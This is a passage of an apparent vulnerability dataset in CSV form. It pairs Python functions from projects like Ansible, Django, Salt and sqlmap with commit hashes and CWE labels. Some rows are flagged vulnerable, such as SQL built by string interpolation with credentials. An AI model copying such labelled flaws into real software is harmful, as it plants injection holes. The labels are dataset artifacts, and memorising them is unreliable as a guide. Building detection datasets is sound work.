            k8s.V1VolumeMount(mount_path=""/etc/foo"", name=""secretvol0"", read_only=True),
        )"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/modules/linux_sysctl_test.py,0,"def test_assign_success(self):
        '''
        Tests the return of successful assign function
        '''
        cmd = {'pid': 1337, 'retcode': 0, 'stderr': '',
               'stdout': 'net.ipv4.ip_forward = 1'}
        ret = {'net.ipv4.ip_forward': '1'}
        mock_cmd = MagicMock(return_value=cmd)
        with patch.dict(linux_sysctl.__salt__, {'cmd.run_all': mock_cmd}):
            self.assertEqual(linux_sysctl.assign(
                'net.ipv4.ip_forward', 1), ret)",,saltstack/salt,4cc8ea9577bd69aa20d8246939574753869b610e,"def test_assign_success(self):
        '''
        Tests the return of successful assign function
        '''
        cmd = {'pid': 1337, 'retcode': 0, 'stderr': '',
               'stdout': 'net.ipv4.ip_forward = 1'}
        ret = {'net.ipv4.ip_forward': '1'}
        mock_cmd = MagicMock(return_value=cmd)
        with patch.dict(linux_sysctl.__salt__, {'cmd.run_all': mock_cmd}):
            self.assertEqual(linux_sysctl.assign(
                'net.ipv4.ip_forward', 1), ret)"
,UNKNOWN,UNKNOWN,lib/ansible/modules/database/mysql/mysql_replication.py,1,"def main():
    module = AnsibleModule(
        argument_spec=dict(
            login_user=dict(type='str'),
            login_password=dict(type='str', no_log=True),
            login_host=dict(type='str', default='localhost'),
            login_port=dict(type='int', default=3306),
            login_unix_socket=dict(type='str'),
            mode=dict(type='str', default='getslave', choices=[
                'getmaster', 'getslave', 'changemaster', 'stopslave', 'startslave', 'resetslave', 'resetslaveall']),
            master_auto_position=dict(type='bool', default=False),
            master_host=dict(type='str'),
            master_user=dict(type='str'),
            master_password=dict(type='str', no_log=True),
            master_port=dict(type='int'),
            master_connect_retry=dict(type='int'),
            master_log_file=dict(type='str'),
            master_log_pos=dict(type='int'),
            relay_log_file=dict(type='str'),
            relay_log_pos=dict(type='int'),
            master_ssl=dict(type='bool', default=False),
            master_ssl_ca=dict(type='str'),
            master_ssl_capath=dict(type='str'),
            master_ssl_cert=dict(type='str'),
            master_ssl_key=dict(type='str'),
            master_ssl_cipher=dict(type='str'),
            connect_timeout=dict(type='int', default=30),
            config_file=dict(type='path', default='~/.my.cnf'),
            client_cert=dict(type='path', aliases=['ssl_cert']),
            client_key=dict(type='path', aliases=['ssl_key']),
            ca_cert=dict(type='path', aliases=['ssl_ca']),
            master_use_gtid=dict(type='str', choices=['current_pos', 'slave_pos', 'disabled']),
            master_delay=dict(type='int'),
        )
    )
    mode = module.params[""mode""]
    master_host = module.params[""master_host""]
    master_user = module.params[""master_user""]
    master_password = module.params[""master_password""]
    master_port = module.params[""master_port""]
    master_connect_retry = module.params[""master_connect_retry""]
    master_log_file = module.params[""master_log_file""]
    master_log_pos = module.params[""master_log_pos""]
    relay_log_file = module.params[""relay_log_file""]
    relay_log_pos = module.params[""relay_log_pos""]
    master_ssl = module.params[""master_ssl""]
    master_ssl_ca = module.params[""master_ssl_ca""]
    master_ssl_capath = module.params[""master_ssl_capath""]
    master_ssl_cert = module.params[""master_ssl_cert""]
    master_ssl_key = module.params[""master_ssl_key""]
    master_ssl_cipher = module.params[""master_ssl_cipher""]
    master_auto_position = module.params[""master_auto_position""]
    ssl_cert = module.params[""client_cert""]
    ssl_key = module.params[""client_key""]
    ssl_ca = module.params[""ca_cert""]
    connect_timeout = module.params['connect_timeout']
    config_file = module.params['config_file']
    master_delay = module.params['master_delay']
    if module.params.get(""master_use_gtid"") == 'disabled':
        master_use_gtid = 'no'
    else:
        master_use_gtid = module.params[""master_use_gtid""]

    if mysql_driver is None:
        module.fail_json(msg=mysql_driver_fail_msg)
    else:
        warnings.filterwarnings('error', category=mysql_driver.Warning)

    login_password = module.params[""login_password""]
    login_user = module.params[""login_user""]

    try:
        cursor = mysql_connect(module, login_user, login_password, config_file,
                               ssl_cert, ssl_key, ssl_ca, None, cursor_class='DictCursor',
                               connect_timeout=connect_timeout)
    except Exception as e:
        if os.path.exists(config_file):
            module.fail_json(msg=""unable to connect to database, check login_user and login_password are correct or %s has the credentials. ""
                                 ""Exception message: %s"" % (config_file, to_native(e)))
        else:
            module.fail_json(msg=""unable to find %s. Exception message: %s"" % (config_file, to_native(e)))

    if mode in ""getmaster"":
        status = get_master_status(cursor)
        if not isinstance(status, dict):
            status = dict(Is_Master=False, msg=""Server is not configured as mysql master"")
        else:
            status['Is_Master'] = True
        module.exit_json(queries=executed_queries, **status)

    elif mode in ""getslave"":
        status = get_slave_status(cursor)
        if not isinstance(status, dict):
            status = dict(Is_Slave=False, msg=""Server is not configured as mysql slave"")
        else:
            status['Is_Slave'] = True
        module.exit_json(queries=executed_queries, **status)

    elif mode in ""changemaster"":
        chm = []
        result = {}
        if master_host:
            chm.append(""MASTER_HOST='%s'"" % master_host)
        if master_user:
            chm.append(""MASTER_USER='%s'"" % master_user)
        if master_password:
            chm.append(""MASTER_PASSWORD='%s'"" % master_password)
        if master_port is not None:
            chm.append(""MASTER_PORT=%s"" % master_port)
        if master_connect_retry is not None:
            chm.append(""MASTER_CONNECT_RETRY=%s"" % master_connect_retry)
        if master_log_file:
            chm.append(""MASTER_LOG_FILE='%s'"" % master_log_file)
        if master_log_pos is not None:
            chm.append(""MASTER_LOG_POS=%s"" % master_log_pos)
        if master_delay is not None:
            chm.append(""MASTER_DELAY=%s"" % master_delay)
        if relay_log_file:
            chm.append(""RELAY_LOG_FILE='%s'"" % relay_log_file)
        if relay_log_pos is not None:
            chm.append(""RELAY_LOG_POS=%s"" % relay_log_pos)
        if master_ssl:
            chm.append(""MASTER_SSL=1"")
        if master_ssl_ca:
            chm.append(""MASTER_SSL_CA='%s'"" % master_ssl_ca)
        if master_ssl_capath:
            chm.append(""MASTER_SSL_CAPATH='%s'"" % master_ssl_capath)
        if master_ssl_cert:
            chm.append(""MASTER_SSL_CERT='%s'"" % master_ssl_cert)
        if master_ssl_key:
            chm.append(""MASTER_SSL_KEY='%s'"" % master_ssl_key)
        if master_ssl_cipher:
            chm.append(""MASTER_SSL_CIPHER='%s'"" % master_ssl_cipher)
        if master_auto_position:
            chm.append(""MASTER_AUTO_POSITION=1"")
        if master_use_gtid is not None:
            chm.append(""MASTER_USE_GTID=%s"" % master_use_gtid)
        try:
            changemaster(cursor, chm)
        except mysql_driver.Warning as e:
            result['warning'] = to_native(e)
        except Exception as e:
            module.fail_json(msg='%s. Query == CHANGE MASTER TO %s' % (to_native(e), chm))
        result['changed'] = True
        module.exit_json(queries=executed_queries, **result)
    elif mode in ""startslave"":
        started = start_slave(cursor)
        if started is True:
            module.exit_json(msg=""Slave started "", changed=True, queries=executed_queries)
        else:
            module.exit_json(msg=""Slave already started (Or cannot be started)"", changed=False, queries=executed_queries)
    elif mode in ""stopslave"":
        stopped = stop_slave(cursor)
        if stopped is True:
            module.exit_json(msg=""Slave stopped"", changed=True, queries=executed_queries)
        else:
            module.exit_json(msg=""Slave already stopped"", changed=False, queries=executed_queries)
    elif mode in ""resetslave"":
        reset = reset_slave(cursor)
        if reset is True:
            module.exit_json(msg=""Slave reset"", changed=True, queries=executed_queries)
        else:
            module.exit_json(msg=""Slave already reset"", changed=False, queries=executed_queries)
    elif mode in ""resetslaveall"":
        reset = reset_slave_all(cursor)
        if reset is True:
            module.exit_json(msg=""Slave reset"", changed=True, queries=executed_queries)
        else:
            module.exit_json(msg=""Slave already reset"", changed=False, queries=executed_queries)

    warnings.simplefilter(""ignore"")",CWE-259,ansible/ansible,5fcaefc01221e851f9d7a5332eb925e10d0d3ac1,"def main():
    module = AnsibleModule(
        argument_spec=dict(
            login_user=dict(type='str'),
            login_password=dict(type='str', no_log=True),
            login_host=dict(type='str', default='localhost'),
            login_port=dict(type='int', default=3306),
            login_unix_socket=dict(type='str'),
            mode=dict(type='str', default='getslave', choices=[
                'getmaster', 'getslave', 'changemaster', 'stopslave', 'startslave', 'resetslave', 'resetslaveall']),
            master_auto_position=dict(type='bool', default=False),
            master_host=dict(type='str'),
            master_user=dict(type='str'),
            master_password=dict(type='str', no_log=True),
            master_port=dict(type='int'),
            master_connect_retry=dict(type='int'),
            master_log_file=dict(type='str'),
            master_log_pos=dict(type='int'),
            relay_log_file=dict(type='str'),
            relay_log_pos=dict(type='int'),
            master_ssl=dict(type='bool', default=False),
            master_ssl_ca=dict(type='str'),
            master_ssl_capath=dict(type='str'),
            master_ssl_cert=dict(type='str'),
            master_ssl_key=dict(type='str'),
            master_ssl_cipher=dict(type='str'),
            connect_timeout=dict(type='int', default=30),
            config_file=dict(type='path', default='~/.my.cnf'),
            client_cert=dict(type='path', aliases=['ssl_cert']),
            client_key=dict(type='path', aliases=['ssl_key']),
            ca_cert=dict(type='path', aliases=['ssl_ca']),
            master_use_gtid=dict(type='str', choices=['current_pos', 'slave_pos', 'disabled']),
            master_delay=dict(type='int'),
        )
    )
    mode = module.params[""mode""]
    master_host = module.params[""master_host""]
    master_user = module.params[""master_user""]
    master_password = module.params[""master_password""]
    master_port = module.params[""master_port""]
    master_connect_retry = module.params[""master_connect_retry""]
    master_log_file = module.params[""master_log_file""]
    master_log_pos = module.params[""master_log_pos""]
    relay_log_file = module.params[""relay_log_file""]
    relay_log_pos = module.params[""relay_log_pos""]
    master_ssl = module.params[""master_ssl""]
    master_ssl_ca = module.params[""master_ssl_ca""]
    master_ssl_capath = module.params[""master_ssl_capath""]
    master_ssl_cert = module.params[""master_ssl_cert""]
    master_ssl_key = module.params[""master_ssl_key""]
    master_ssl_cipher = module.params[""master_ssl_cipher""]
    master_auto_position = module.params[""master_auto_position""]
    ssl_cert = module.params[""client_cert""]
    ssl_key = module.params[""client_key""]
    ssl_ca = module.params[""ca_cert""]
    connect_timeout = module.params['connect_timeout']
    config_file = module.params['config_file']
    master_delay = module.params['master_delay']
    if module.params.get(""master_use_gtid"") == 'disabled':
        master_use_gtid = 'no'
    else:
        master_use_gtid = module.params[""master_use_gtid""]

    if mysql_driver is None:
        module.fail_json(msg=mysql_driver_fail_msg)
    else:
        warnings.filterwarnings('error', category=mysql_driver.Warning)

    login_password = module.params[""login_password""]
    login_user = module.params[""login_user""]

    try:
        cursor = mysql_connect(module, login_user, login_password, config_file,
                               ssl_cert, ssl_key, ssl_ca, None, cursor_class='DictCursor',
                               connect_timeout=connect_timeout)
    except Exception as e:
        if os.path.exists(config_file):
            module.fail_json(msg=""unable to connect to database, check login_user and login_password are correct or %s has the credentials. ""
                                 ""Exception message: %s"" % (config_file, to_native(e)))
        else:
            module.fail_json(msg=""unable to find %s. Exception message: %s"" % (config_file, to_native(e)))

    if mode in ""getmaster"":
        status = get_master_status(cursor)
        if not isinstance(status, dict):
            status = dict(Is_Master=False, msg=""Server is not configured as mysql master"")
        else:
            status['Is_Master'] = True
        module.exit_json(queries=executed_queries, **status)

    elif mode in ""getslave"":
        status = get_slave_status(cursor)
        if not isinstance(status, dict):
            status = dict(Is_Slave=False, msg=""Server is not configured as mysql slave"")
        else:
            status['Is_Slave'] = True
        module.exit_json(queries=executed_queries, **status)

    elif mode in ""changemaster"":
        chm = []
        result = {}
        if master_host:
            chm.append(""MASTER_HOST='%s'"" % master_host)
        if master_user:
            chm.append(""MASTER_USER='%s'"" % master_user)
        if master_password:
            chm.append(""MASTER_PASSWORD='%s'"" % master_password)
        if master_port is not None:
            chm.append(""MASTER_PORT=%s"" % master_port)
        if master_connect_retry is not None:
            chm.append(""MASTER_CONNECT_RETRY=%s"" % master_connect_retry)
        if master_log_file:
            chm.append(""MASTER_LOG_FILE='%s'"" % master_log_file)
        if master_log_pos is not None:
            chm.append(""MASTER_LOG_POS=%s"" % master_log_pos)
        if master_delay:
            chm.append(""MASTER_DELAY=%s"" % master_delay)
        if relay_log_file:
            chm.append(""RELAY_LOG_FILE='%s'"" % relay_log_file)
        if relay_log_pos is not None:
            chm.append(""RELAY_LOG_POS=%s"" % relay_log_pos)
        if master_ssl:
            chm.append(""MASTER_SSL=1"")
        if master_ssl_ca:
            chm.append(""MASTER_SSL_CA='%s'"" % master_ssl_ca)
        if master_ssl_capath:
            chm.append(""MASTER_SSL_CAPATH='%s'"" % master_ssl_capath)
        if master_ssl_cert:
            chm.append(""MASTER_SSL_CERT='%s'"" % master_ssl_cert)
        if master_ssl_key:
            chm.append(""MASTER_SSL_KEY='%s'"" % master_ssl_key)
        if master_ssl_cipher:
            chm.append(""MASTER_SSL_CIPHER='%s'"" % master_ssl_cipher)
        if master_auto_position:
            chm.append(""MASTER_AUTO_POSITION=1"")
        if master_use_gtid is not None:
            chm.append(""MASTER_USE_GTID=%s"" % master_use_gtid)
        try:
            changemaster(cursor, chm)
        except mysql_driver.Warning as e:
            result['warning'] = to_native(e)
        except Exception as e:
            module.fail_json(msg='%s. Query == CHANGE MASTER TO %s' % (to_native(e), chm))
        result['changed'] = True
        module.exit_json(queries=executed_queries, **result)
    elif mode in ""startslave"":
        started = start_slave(cursor)
        if started is True:
            module.exit_json(msg=""Slave started "", changed=True, queries=executed_queries)
        else:
            module.exit_json(msg=""Slave already started (Or cannot be started)"", changed=False, queries=executed_queries)
    elif mode in ""stopslave"":
        stopped = stop_slave(cursor)
        if stopped is True:
            module.exit_json(msg=""Slave stopped"", changed=True, queries=executed_queries)
        else:
            module.exit_json(msg=""Slave already stopped"", changed=False, queries=executed_queries)
    elif mode in ""resetslave"":
        reset = reset_slave(cursor)
        if reset is True:
            module.exit_json(msg=""Slave reset"", changed=True, queries=executed_queries)
        else:
            module.exit_json(msg=""Slave already reset"", changed=False, queries=executed_queries)
    elif mode in ""resetslaveall"":
        reset = reset_slave_all(cursor)
        if reset is True:
            module.exit_json(msg=""Slave reset"", changed=True, queries=executed_queries)
        else:
            module.exit_json(msg=""Slave already reset"", changed=False, queries=executed_queries)

    warnings.simplefilter(""ignore"")"
,UNKNOWN,UNKNOWN,django/db/backends/sqlite3/introspection.py,1,"def get_relations(self, cursor, table_name):
        """"""
        Returns a dictionary of {field_index: (field_index_other_table, other_table)}
        representing all relationships to the given table. Indexes are 0-based.
        """"""

        # Dictionary of relations to return
        relations = {}

        # Schema for this table
        cursor.execute(""SELECT sql FROM sqlite_master WHERE tbl_name = %s AND type = %s"", [table_name, ""table""])
        results = cursor.fetchone()[0].strip()
        results = results[results.index('(')+1:results.rindex(')')]

        # Walk through and look for references to other tables. SQLite doesn't
        # really have enforced references, but since it echoes out the SQL used
        # to create the table we can look for REFERENCES statements used there.
        for field_index, field_desc in enumerate(results.split(',')):
            field_desc = field_desc.strip()
            if field_desc.startswith(""UNIQUE""):
                continue

            m = re.search('references (.*) \([""|](.*)[""|]\)', field_desc, re.I)
            if not m:
                continue

            table, column = [s.strip('""') for s in m.groups()]

            cursor.execute(""SELECT sql FROM sqlite_master WHERE tbl_name = %s"", [table])
            result = cursor.fetchall()[0]
            other_table_results = result[0].strip()
            li, ri = other_table_results.index('('), other_table_results.rindex(')')
            other_table_results = other_table_results[li+1:ri]


            for other_index, other_desc in enumerate(other_table_results.split(',')):
                other_desc = other_desc.strip()
                if other_desc.startswith('UNIQUE'):
                    continue

                name = other_desc.split(' ', 1)[0].strip('""')
                if name == column:
                    relations[field_index] = (other_index, table)
                    break

        return relations",CWE-89,django/django,7c0e40534b7c2d8de9824a36824482d1067e195b,"def get_relations(self, cursor, table_name):
        """"""
        Returns a dictionary of {field_index: (field_index_other_table, other_table)}
        representing all relationships to the given table. Indexes are 0-based.
        """"""

        # Dictionary of relations to return
        relations = {}

        # Schema for this table
        cursor.execute(""SELECT sql FROM sqlite_master WHERE tbl_name = %s AND type = %s"", [table_name, ""table""])
        results = cursor.fetchone()[0].strip()
        results = results[results.index('(')+1:results.rindex(')')]

        # Walk through and look for references to other tables. SQLite doesn't
        # really have enforced references, but since it echoes out the SQL used
        # to create the table we can look for REFERENCES statements used there.
        for field_index, field_desc in enumerate(results.split(',')):
            field_desc = field_desc.strip()
            if field_desc.startswith(""UNIQUE""):
                continue

            m = re.search('references (.*) \([""|](.*)[""|]\)', field_desc, re.I)
            if not m:
                continue

            table, column = [s.strip('""') for s in m.groups()]

            cursor.execute(""SELECT sql FROM sqlite_master WHERE tbl_name = %s"", [table])
            result = cursor.fetchone()
            if not result:
                continue
            other_table_results = result[0].strip()
            li, ri = other_table_results.index('('), other_table_results.rindex(')')
            other_table_results = other_table_results[li+1:ri]


            for other_index, other_desc in enumerate(other_table_results.split(',')):
                other_desc = other_desc.strip()
                if other_desc.startswith('UNIQUE'):
                    continue

                name = other_desc.split(' ', 1)[0].strip('""')
                if name == column:
                    relations[field_index] = (other_index, table)
                    break

        return relations"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/db/migrations/state.py,0,"def _related_models(m):
        return [
            f.related_model for f in m._meta.get_fields(include_parents=True, include_hidden=True)
            if f.is_relation and f.related_model is not None and not isinstance(f.related_model, six.string_types)
        ] + [
            subclass for subclass in m.__subclasses__()
            if issubclass(subclass, models.Model)
        ]",CWE-Unknown,django/django,181528726ed2e3f1457e13872c777d0447cc52b8,"def _related_models(m):
        return [
            f.related_model for f in m._meta.get_fields(include_parents=True, include_hidden=True)
            if f.is_relation and not isinstance(f.related_model, six.string_types)
        ] + [
            subclass for subclass in m.__subclasses__()
            if issubclass(subclass, models.Model)
        ]"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/playbook/task.py,0,"def get_name(self):
       ''' return the name of the task '''

       if self._role and self.name:
           return ""%s : %s"" % (self._role.get_name(), self.name)
       elif self.name:
           return self.name
       else:
           flattened_args = self._merge_kv(self.args)
           if self._role:
               return ""%s : %s %s"" % (self._role.get_name(), self.action, flattened_args)
           else:
               return ""%s %s"" % (self.action, flattened_args)",,ansible/ansible,7bc789ba64583fdb68e8ab9c8336dbb9b8374797,"def get_name(self):
       ''' return the name of the task '''

       if self._role and self.name and not self.name.startswith(""%s :"" % self._role.get_name()):
           return ""%s : %s"" % (self._role.get_name(), self.name)
       elif self.name:
           return self.name
       else:
           flattened_args = self._merge_kv(self.args)
           if self._role:
               return ""%s : %s %s"" % (self._role.get_name(), self.action, flattened_args)
           else:
               return ""%s %s"" % (self.action, flattened_args)"
,UNKNOWN,UNKNOWN,providers/tests/amazon/aws/auth_manager/avp/test_facade.py,1,"def test_avp_policy_store_id(self, facade):
        assert hasattr(facade, ""avp_policy_store_id"")",CWE-703,apache/airflow,d024cdab190eb46eb0ce21679f44f08df5690cb9,"def test_avp_policy_store_id(self, facade):
        assert hasattr(facade, ""avp_policy_store_id"")"
,UNKNOWN,UNKNOWN,tests/unit/cloud/clouds/test_ec2.py,1,"def test_get_password_data(self, query, get_provider, get_location, _get_node):
        query.return_value = [
            {
            'passwordData': PASS_DATA
            }
        ]
        _get_node.return_value = {'instanceId': 'i-abcdef'}
        get_location.return_value = 'us-west2'
        get_provider.return_value = 'ec2'
        with salt.utils.files.fopen(self.key_file, 'w') as fp:
            fp.write(PRIVKEY_DATA)
        ret = ec2.get_password_data(
            name='i-abcddef', kwargs={'key_file': self.key_file}, call='action'
        )
        assert ret['passwordData'] == PASS_DATA
        assert ret['password'] == 'testp4ss!'",CWE-703,saltstack/salt,9d280980a8ac6608a444dc9c025e73326f7a7e14,"def test_get_password_data(self, query, get_provider, get_location, _get_node):
        query.return_value = [
            {
            'passwordData': PASS_DATA
            }
        ]
        _get_node.return_value = {'instanceId': 'i-abcdef'}
        get_location.return_value = 'us-west2'
        get_provider.return_value = 'ec2'
        with salt.utils.files.fopen(self.key_file, 'w') as fp:
            fp.write(PRIVKEY_DATA)
        ret = ec2.get_password_data(
            name='i-abcddef', kwargs={'key_file': self.key_file}, call='action'
        )
        assert ret['passwordData'] == PASS_DATA
        assert ret['password'] == 'testp4ss!'"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,waf/paloalto.py,0,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, _, _ = get_page(get=vector)
        retval = re.search(r""Access[^<]+has been blocked in accordance with company policy"", page or """", re.I) is not None
        if retval:
            break

    return retval",,sqlmapproject/sqlmap,31850e45440271c1568955dcab4e9726259c8904,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, _, _ = get_page(get=vector)
        retval = re.search(r""Access[^<]+has been blocked in accordance with company policy"", page, re.I) is not None
        if retval:
            break

    return retval"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,test/lib/ansible_test/_data/legacy_collection_loader/_collection_finder.py,0,"def _get_collection_playbook_path(playbook):

    acr = AnsibleCollectionRef.try_parse_fqcr(playbook, u'playbook')
    if acr:
        try:
            # get_collection_path
            pkg = import_module(acr.n_python_collection_package_name)
        except (IOError, ModuleNotFoundError) as e:
            # leaving e as debug target, even though not used in normal code
            pkg = None

        if pkg:
            cpath = os.path.join(sys.modules[acr.n_python_collection_package_name].__file__.replace('__synthetic__', 'playbooks'))

            if acr.subdirs:
                paths = [to_native(x) for x in acr.subdirs.split(u'.')]
                paths.insert(0, cpath)
                cpath = os.path.join(*paths)

            path = os.path.join(cpath, to_native(acr.resource))
            if os.path.exists(to_bytes(path)):
                return acr.resource, path, acr.collection
            elif not acr.resource.endswith(PB_EXTENSIONS):
                for ext in PB_EXTENSIONS:
                    path = os.path.join(cpath, to_native(acr.resource + ext))
                    if os.path.exists(to_bytes(path)):
                        return acr.resource, path, acr.collection
    return None",,ansible/ansible,6418f368e3d13c404cc2d53a6d5dab68f2809996,"def _get_collection_playbook_path(playbook):

    acr = AnsibleCollectionRef.try_parse_fqcr(playbook, u'playbook')
    if acr:
        try:
            # get_collection_path
            pkg = import_module(acr.n_python_collection_package_name)
        except (IOError, ModuleNotFoundError) as e:
            # leaving e as debug target, even though not used in normal code
            pkg = None

        if pkg:
            cpath = os.path.join(sys.modules[acr.n_python_collection_package_name].__file__.replace('__synthetic__', 'playbooks'))
            path = os.path.join(cpath, to_native(acr.resource))
            if os.path.exists(to_bytes(path)):
                return acr.resource, path, acr.collection
            elif not acr.resource.endswith(PB_EXTENSIONS):
                for ext in PB_EXTENSIONS:
                    path = os.path.join(cpath, to_native(acr.resource + ext))
                    if os.path.exists(to_bytes(path)):
                        return acr.resource, path, acr.collection
    return None"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/tracing/types/wrapper.py,0,"def set_status(self, status: Union[SpanStatus, str]):
        """"""
        Set the status of the span.

        Args:
            status: The status of the span. This can be a
                :py:class:`SpanStatus <mlflow.entities.SpanStatus>` object or a string representing
                of the status code defined in :py:class:`TraceStatus <mlflow.entities.TraceStatus>`
                e.g. ``""OK""``, ``""ERROR""``.
        """"""
        if isinstance(status, str):
            status = SpanStatus(status)

        # NB: We need to set the OpenTelemetry native StatusCode, because span's set_status
        #     method only accepts a StatusCode enum in their definition.
        #     https://github.com/open-telemetry/opentelemetry-python/blob/8ed71b15fb8fc9534529da8ce4a21e686248a8f3/opentelemetry-sdk/src/opentelemetry/sdk/trace/__init__.py#L949
        #     Working around this is possible, but requires some hack to handle automatic status
        #     propagation mechanism, so here we just use the native object that meets our
        #     current requirements at least. Nevertheless, declaring the new class extending
        #     the OpenTelemetry Status class so users code doesn't have to import the OTel's
        #     StatusCode object, which makes future migration easier.
        self._span.set_status(status.to_otel_status())",,mlflow/mlflow,c2e52c1dd2d2ab88efd247d339adb0351122eca0,"def set_status(self, status: Union[SpanStatus, str]):
        """"""
        Set the status of the span.

        Args:
            status: The status of the span. This can be a
                :py:class:`SpanStatus <mlflow.entities.SpanStatus>` object or a string representing
                of the status code defined in :py:class:`TraceStatus <mlflow.entities.TraceStatus>`
                e.g. ``""OK""``, ``""ERROR""``.
        """"""
        if isinstance(status, str):
            status = SpanStatus(status)

        # NB: We need to set the OpenTelemetry native StatusCode, because span's set_status
        #     method only accepts a StatusCode enum in their definition.
        #     https://github.com/open-telemetry/opentelemetry-python/blob/8ed71b15fb8fc9534529da8ce4a21e686248a8f3/opentelemetry-sdk/src/opentelemetry/sdk/trace/__init__.py#L949
        #     Working around this is possible, but requires some hack to handle automatic status
        #     propagation mechanism, so here we just use the native object that meets our
        #     current requirements at least. Nevertheless, declaring the new class extending
        #     the OpenTelemetry Status class so users code doesn't have to import the OTel's
        #     StatusCode object, which makes future migration easier.
        self._span.set_status(status.to_otel_status())"
,UNKNOWN,UNKNOWN,tests/providers/apache/hive/operators/test_hive_stats.py,1,"def test_runs_for_hive_stats(self, mock_hive_metastore_hook):
        mock_mysql_hook = MockMySqlHook()
        mock_presto_hook = MockPrestoHook()
        with patch(
            'airflow.providers.apache.hive.operators.hive_stats.PrestoHook', return_value=mock_presto_hook
        ):
            with patch(
                'airflow.providers.apache.hive.operators.hive_stats.MySqlHook', return_value=mock_mysql_hook
            ):
                op = HiveStatsCollectionOperator(
                    task_id='hive_stats_check',
                    table=""airflow.static_babynames_partitioned"",
                    partition={'ds': DEFAULT_DATE_DS},
                    dag=self.dag,
                )
                op.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)

        select_count_query = (
            ""SELECT COUNT(*) AS __count ""
            ""FROM airflow.static_babynames_partitioned ""
            ""WHERE ds = '2015-01-01';""
        )
        mock_presto_hook.get_first.assert_called_with(hql=select_count_query)

        expected_stats_select_query = (
            ""SELECT 1 ""
            ""FROM hive_stats ""
            ""WHERE table_name='airflow.static_babynames_partitioned' ""
            ""  AND partition_repr='{\""ds\"": \""2015-01-01\""}' ""
            ""  AND dttm='2015-01-01T00:00:00+00:00' ""
            ""LIMIT 1;""
        )

        raw_stats_select_query = mock_mysql_hook.get_records.call_args_list[0][0][0]
        actual_stats_select_query = re.sub(r'\s{2,}', ' ', raw_stats_select_query).strip()

        assert expected_stats_select_query == actual_stats_select_query

        insert_rows_val = [
            (
                '2015-01-01',
                '2015-01-01T00:00:00+00:00',
                'airflow.static_babynames_partitioned',
                '{""ds"": ""2015-01-01""}',
                '',
                'count',
                ['val_0', 'val_1'],
            )
        ]

        mock_mysql_hook.insert_rows.assert_called_with(
            table='hive_stats',
            rows=insert_rows_val,
            target_fields=[
                'ds',
                'dttm',
                'table_name',
                'partition_repr',
                'col',
                'metric',
                'value',
            ],
        )",CWE-703,apache/airflow,f5ad26dcdd7bcb724992528dce71056965b94d26,"def test_runs_for_hive_stats(self, mock_hive_metastore_hook):
        mock_mysql_hook = MockMySqlHook()
        mock_presto_hook = MockPrestoHook()
        with patch(
            'airflow.providers.apache.hive.operators.hive_stats.PrestoHook', return_value=mock_presto_hook
        ):
            with patch(
                'airflow.providers.apache.hive.operators.hive_stats.MySqlHook', return_value=mock_mysql_hook
            ):
                op = HiveStatsCollectionOperator(
                    task_id='hive_stats_check',
                    table=""airflow.static_babynames_partitioned"",
                    partition={'ds': DEFAULT_DATE_DS},
                    dag=self.dag,
                )
                op.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)

        select_count_query = (
            ""SELECT COUNT(*) AS __count FROM airflow.""
            + ""static_babynames_partitioned WHERE ds = '2015-01-01';""
        )
        mock_presto_hook.get_first.assert_called_with(hql=select_count_query)

        expected_stats_select_query = (
            ""SELECT 1 FROM hive_stats WHERE table_name='airflow.""
            + ""static_babynames_partitioned' AND ""
            + ""partition_repr='{\""ds\"": \""2015-01-01\""}' AND ""
            + ""dttm='2015-01-01T00:00:00+00:00' ""
            + ""LIMIT 1;""
        )

        raw_stats_select_query = mock_mysql_hook.get_records.call_args_list[0][0][0]
        actual_stats_select_query = re.sub(r'\s{2,}', ' ', raw_stats_select_query).strip()

        assert expected_stats_select_query == actual_stats_select_query

        insert_rows_val = [
            (
                '2015-01-01',
                '2015-01-01T00:00:00+00:00',
                'airflow.static_babynames_partitioned',
                '{""ds"": ""2015-01-01""}',
                '',
                'count',
                ['val_0', 'val_1'],
            )
        ]

        mock_mysql_hook.insert_rows.assert_called_with(
            table='hive_stats',
            rows=insert_rows_val,
            target_fields=[
                'ds',
                'dttm',
                'table_name',
                'partition_repr',
                'col',
                'metric',
                'value',
            ],
        )"
,UNKNOWN,UNKNOWN,salt/states/archive.py,1,"def extracted(name,
              source,
              archive_format,
              archive_user=None,
              password=None,
              user=None,
              group=None,
              tar_options=None,
              zip_options=None,
              source_hash=None,
              if_missing=None,
              keep=False,
              trim_output=False,
              source_hash_update=None,
              use_cmd_unzip=False,
              **kwargs):
    '''
    .. versionadded:: 2014.1.0

    State that make sure an archive is extracted in a directory.
    The downloaded archive is erased if successfully extracted.
    The archive is downloaded only if necessary.

    .. note::

        If ``if_missing`` is not defined, this state will check for ``name``
        instead.  If ``name`` exists, it will assume the archive was previously
        extracted successfully and will not extract it again.

    Example, tar with flag for lmza compression:

    .. code-block:: yaml

        graylog2-server:
          archive.extracted:
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - tar_options: J
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    Example, tar with flag for verbose output:

    .. code-block:: yaml

        graylog2-server:
          archive.extracted:
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - archive_format: tar
            - tar_options: v
            - user: root
            - group: root
            - if_missing: /opt/graylog2-server-0.9.6p1/

    Example, tar with flag for lmza compression and update based if source_hash differs from what was
    previously extracted:

    .. code-block:: yaml

        graylog2-server:
          archive.extracted:
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - source_hash_update: true
